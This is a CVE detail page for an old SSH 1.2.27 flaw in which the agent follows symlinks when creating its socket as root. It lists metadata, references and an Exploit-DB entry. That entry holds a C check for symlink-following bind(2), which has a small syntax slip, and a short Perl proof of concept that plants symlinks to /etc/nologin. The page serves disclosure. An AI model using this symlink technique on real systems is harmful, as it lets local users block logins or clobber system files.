CVE-1999-0787 : Detail

CVE-1999-0787

0.05%V3
Local
2000-10-13
02h00 +00:00
2024-08-01
16h48 +00:00
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CVE Descriptions

The SSH authentication agent follows symlinks via a UNIX domain socket.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 19510

Publication date : 1999-09-16 22h00 +00:00
Author : Tymm Twillman
EDB Verified : Yes

source: https://www.securityfocus.com/bid/660/info A vulnerability in SSH's creation of the authentication agent UNIX domain socket allows local users to create a UNIX domain socket with an arbitrary file name in the system. SSH has the concept of authentication proxying via the SSH authentication agent. It allows for a basic kind of Single Sign-On capability. The sshd daemon, ssh and ssh-agent communicate via a UNIX domain socket normally of the form '/tmp/ssh-<username>/agent-socket-<pid>'. SSH follows symbolic links while creating the socket as root thus allowing any local users with ssh access to create a socket with an arbitrary filename in the system. Notice that this will not work under all operating systems. Some operating systems do not follow symbolic links during bind(2) on UNIX domain sockets. Linux 2.0.x, Solaris 2.5.1 and IRIX 6.5.2 do not follow symbolic links during bind(2). Linux 2.1.x does. You can use the following program by Dan Astoorian <[email protected]> to test whether your system does or does not follow symbolic links during bind(2): #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #define FPATH "./bindlinktest" #define LPATH "./bindlinktest0" int main(int argc, char **argv) { int fd; struct sockaddr_un sunaddr; fd = socket(AF_UNIX, SOCK_STREAM, 0); if (fd < 0) { perror("socket");exit(1); }; unlink(FPATH); if (symlink(FPATH, LPATH) < 0) { perror("symlink");exit(1); } memset(&sunaddr, 0, sizeof(sunaddr)); sunaddr.sun_family = AF_UNIX; strncpy(sunaddr.sun_path, LPATH, sizeof(sunaddr.sun_path)); if (bind(fd, (struct sockaddr *)&sunaddr, sizeof(sunaddr)) < 0) { if (errno == EADDRINUSE) { printf("bind() returned EADDRINUSE; this system appears to be okay.\n"); } else { perror("bind"); } } else { printf("bind() succeeded; this system appears to be vulnerable.\n"); } close(fd) unlink(FPATH); unlink(LPATH); exit(0); } #!/usr/bin/perl $pid = $$; $whoami = `whoami`; chop($whoami); mkdir("/tmp/ssh-$whoami", 0700); for ($i = $pid; $i < $pid+50; $i++) { symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent"); }

Products Mentioned

Configuraton 0

Ssh>>Ssh >> Version 1.2.27

References

http://marc.info/?l=bugtraq&m=93760201002154&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/bid/660
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=93832856804415&w=2
Tags : mailing-list, x_refsource_BUGTRAQ